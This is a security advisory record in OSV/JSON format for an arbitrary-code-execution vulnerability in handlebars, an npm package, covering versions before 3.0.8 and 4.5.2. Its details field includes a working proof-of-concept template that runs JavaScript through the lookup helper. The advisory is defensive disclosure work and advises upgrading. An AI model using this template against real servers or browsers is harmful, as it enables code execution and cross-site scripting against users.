{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "handlebars"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.0.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "handlebars"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-08-31T18:54:52Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "Versions of `handlebars` prior to 3.0.8 or 4.5.2 are vulnerable to Arbitrary Code Execution. The package\u0027s lookup helper fails to properly validate templates, allowing attackers to submit templates that execute arbitrary JavaScript in the system. It can be used to run arbitrary code in a server processing Handlebars templates or on a victim\u0027s browser (effectively serving as Cross-Site Scripting).\n\nThe following template can be used to demonstrate the vulnerability:  \n```{{#with \"constructor\"}}\n\t{{#with split as |a|}}\n\t\t{{pop (push \"alert(\u0027Vulnerable Handlebars JS\u0027);\")}}\n\t\t{{#with (concat (lookup join (slice 0 1)))}}\n\t\t\t{{#each (slice 2 3)}}\n\t\t\t\t{{#with (apply 0 a)}}\n\t\t\t\t\t{{.}}\n\t\t\t\t{{/with}}\n\t\t\t{{/each}}\n\t\t{{/with}}\n\t{{/with}}\n{{/with}}```\n\n\n## Recommendation\n\nUpgrade to version 3.0.8, 4.5.2 or later.",
  "id": "GHSA-2cf5-4w76-r9qv",
  "modified": "2024-01-29T20:54:51Z",
  "published": "2020-09-04T14:57:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/1316"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Arbitrary Code Execution in handlebars"
}